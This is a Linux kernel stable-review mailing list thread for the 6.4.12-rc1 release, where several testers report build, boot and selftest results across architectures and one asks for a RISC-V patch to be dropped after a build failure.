+ sound/usb/quirks-table.h | 29 +++++ tools/objtool/arch/x86/decode.c | 11 +- tools/objtool/check.c | 45 +++++-- tools/objtool/include/objtool/arch.h | 1 + tools/objtool/include/objtool/elf.h | 1 + tools/perf/util/machine.c | 5 - tools/perf/util/thread-stack.c | 4 +- .../selftests/net/forwarding/mirror_gre_changes.sh | 3 +- 264 files changed, 2116 insertions(+), 990 deletions(-)
Quoted 5 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Successfully compiled and installed bindeb-pkgs on my computer (Acer Aspire E15, Intel Core i3 Haswell). No noticeable regressions.
Signature · 1 line
An old man doll... just what I always wanted! - Clara
Quoted 9 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.4.12-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.4.y
and the diffstat can be found below.thanks,
greg k-h
Built and booted successfully on RISC-V RV64 (HiFive Unmatched).
Quoted 10 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.4.12-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.4.y
and the diffstat can be found below.thanks,
greg k-h
Results from Linaro’s test farm.
No regressions on arm64, arm, x86_64, and i386.
## Build
* kernel: 6.4.12-rc1
* git: https://gitlab.com/Linaro/lkft/mirrors/stable/linux-stable-rc
* git branch: linux-6.4.y
* git commit: 2a85de3fab437809a8c511762a7ef4d75db71585
* git describe: v6.4.11-235-g2a85de3fab43
* test details:
https://qa-reports.linaro.org/lkft/linux-stable-rc-linux-6.4.y/build/v6.4.11-235-g2a85de3fab43
## Test Regressions (compared to v6.4.11)
## Metric Regressions (compared to v6.4.11)
## Test Fixes (compared to v6.4.11)
## Metric Fixes (compared to v6.4.11)
## Test result summary
total: 153971, pass: 133147, fail: 1667, skip: 18988, xfail: 169
## Build Summary
* arc: 5 total, 5 passed, 0 failed
* arm: 141 total, 139 passed, 2 failed
* arm64: 52 total, 49 passed, 3 failed
* i386: 39 total, 37 passed, 2 failed
* mips: 28 total, 26 passed, 2 failed
* parisc: 4 total, 4 passed, 0 failed
* powerpc: 37 total, 35 passed, 2 failed
* riscv: 26 total, 23 passed, 3 failed
* s390: 16 total, 14 passed, 2 failed
* sh: 12 total, 10 passed, 2 failed
* sparc: 8 total, 8 passed, 0 failed
* x86_64: 46 total, 44 passed, 2 failed
## Test suites summary
* boot
* kselftest-android
* kselftest-arm64
* kselftest-breakpoints
* kselftest-capabilities
* kselftest-cgroup
* kselftest-clone3
* kselftest-core
* kselftest-cpu-hotplug
* kselftest-cpufreq
* kselftest-drivers-dma-buf
* kselftest-efivarfs
* kselftest-exec
* kselftest-filesystems
* kselftest-filesystems-binderfs
* kselftest-filesystems-epoll
* kselftest-firmware
* kselftest-fpu
* kselftest-ftrace
* kselftest-futex
* kselftest-gpio
* kselftest-intel_pstate
* kselftest-ipc
* kselftest-ir
* kselftest-kcmp
* kselftest-kexec
* kselftest-kvm
* kselftest-lib
* kselftest-livepatch
* kselftest-membarrier
* kselftest-memfd
* kselftest-memory-hotplug
* kselftest-mincore
* kselftest-mount
* kselftest-mqueue
* kselftest-net
* kselftest-net-forwarding
* kselftest-net-mptcp
* kselftest-netfilter
* kselftest-nsfs
* kselftest-openat2
* kselftest-pid_namespace
* kselftest-pidfd
* kselftest-proc
* kselftest-pstore
* kselftest-ptrace
* kselftest-rseq
* kselftest-rtc
* kselftest-seccomp
* kselftest-sigaltstack
* kselftest-size
* kselftest-splice
* kselftest-static_keys
* kselftest-sync
* kselftest-sysctl
* kselftest-tc-testing
* kselftest-timens
* kselftest-timers
* kselftest-tmpfs
* kselftest-tpm2
* kselftest-user
* kselftest-user_events
* kselftest-vDSO
* kselftest-vm
* kselftest-watchdog
* kselftest-x86
* kselftest-zram
* kunit
* kvm-unit-tests
* libgpiod
* libhugetlbfs
* log-parser-boot
* log-parser-test
* ltp-cap_bounds
* ltp-commands
* ltp-containers
* ltp-controllers
* ltp-cpuhotplug
* ltp-crypto
* ltp-cve
* ltp-dio
* ltp-fcntl-locktests
* ltp-filecaps
* ltp-fs
* ltp-fs_bind
* ltp-fs_perms_simple
* ltp-fsx
* ltp-hugetlb
* ltp-io
* ltp-ipc
* ltp-math
* ltp-mm
* ltp-nptl
* ltp-pty
* ltp-sched
* ltp-securebits
* ltp-smoke
* ltp-syscalls
* ltp-tracing
* network-basic-tests
* perf
* rcutorture
* v4l2-compliance
--
Linaro LKFT
https://lkft.linaro.org
Quoted 5 lines · On Mon, 21 Aug 2023 21:39:23 +0200 Greg Kroah-Hartman…
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Quoted 8 lines
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.4.12-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.4.y
and the diffstat can be found below.
This rc kernel passes DAMON functionality test[1] on my test machine. Attaching the test results summary below. Please note that I retrieved the kernel from linux-stable-rc tree[2].
[1] https://github.com/awslabs/damon-tests/tree/next/corr
[2] 2a85de3fab43 ("Linux 6.4.12-rc1")
Thanks,
SJ
[...]
---
[32m
ok 1 selftests: damon: debugfs_attrs.sh
ok 2 selftests: damon: debugfs_schemes.sh
ok 3 selftests: damon: debugfs_target_ids.sh
ok 4 selftests: damon: debugfs_empty_targets.sh
ok 5 selftests: damon: debugfs_huge_count_read_write.sh
ok 6 selftests: damon: debugfs_duplicate_context_creation.sh
ok 7 selftests: damon: debugfs_rm_non_contexts.sh
ok 8 selftests: damon: sysfs.sh
ok 9 selftests: damon: sysfs_update_removed_scheme_dir.sh
ok 10 selftests: damon: reclaim.sh
ok 11 selftests: damon: lru_sort.sh
ok 1 selftests: damon-tests: kunit.sh
ok 2 selftests: damon-tests: huge_count_read_write.sh
ok 3 selftests: damon-tests: buffer_overflow.sh
ok 4 selftests: damon-tests: rm_contexts.sh
ok 5 selftests: damon-tests: record_null_deref.sh
ok 6 selftests: damon-tests: dbgfs_target_ids_read_before_terminate_race.sh ok 7 selftests: damon-tests: dbgfs_target_ids_pid_leak.sh
ok 8 selftests: damon-tests: damo_tests.sh
ok 9 selftests: damon-tests: masim-record.sh
ok 10 selftests: damon-tests: build_i386.sh
ok 11 selftests: damon-tests: build_m68k.sh
ok 12 selftests: damon-tests: build_arm64.sh
ok 13 selftests: damon-tests: build_i386_idle_flag.sh
ok 14 selftests: damon-tests: build_i386_highpte.sh
ok 15 selftests: damon-tests: build_nomemcg.sh
[33m
[92mPASS [39m_remote_run_corr.sh SUCCESS
Quoted 9 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.4.12-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.4.y
and the diffstat can be found below.thanks,
greg k-h
6.4.12-rc1 configures, compiles, runs, and passes most of the tests with my custom config for Lenovo Thinkpad X220 (x86_64). Here is a short log:
system-manufacturer LENOVO
system-product-name 4291EM4
bios-release-date 06/21/2018
bios-version 8DET76WW (1.46 )
kernel 6.4.12-rc1
selftest result 570/652
Quoted 9 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 9 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.4.12-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.4.y
and the diffstat can be found below.thanks,
greg k-h
Compiled and booted on my test system. No dmesg regressions.
thanks,
-- Shuah
Quoted 9 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.4.12-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.4.y
and the diffstat can be found below.thanks,
greg k-h
Tested rc1 against the Fedora build system (aarch64, ppc64le, s390x, x86_64), and boot tested x86_64. No regressions noted.
Quoted 9 lines
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 9 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.4.12-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.4.y
and the diffstat can be found below.thanks,
greg k-h
Compiled and booted on my x86_64 and ARM64 test systems. No errors or regressions.
Thanks.
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build results:
total: 157 pass: 157 fail: 0 Qemu test results: total: 522 pass: 522 fail: 0
Guenter
Quoted 7 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Mingzheng Xing <[email protected]>
riscv: Handle zicsr/zifencei issue between gcc and binutils
Fails to build w/ gcc-11 & binutils 2.37. Can you drop this please? I'll go try to fix this in mainline because it is probably broken there too.
Quoted 9 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.4.12-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.4.y
and the diffstat can be found below.thanks,
greg k-h
On ARCH_BRCMSTB using 32-bit and 64-bit ARM kernels, build tested on BMIPS_GENERIC:
Signature · 1 line
Florian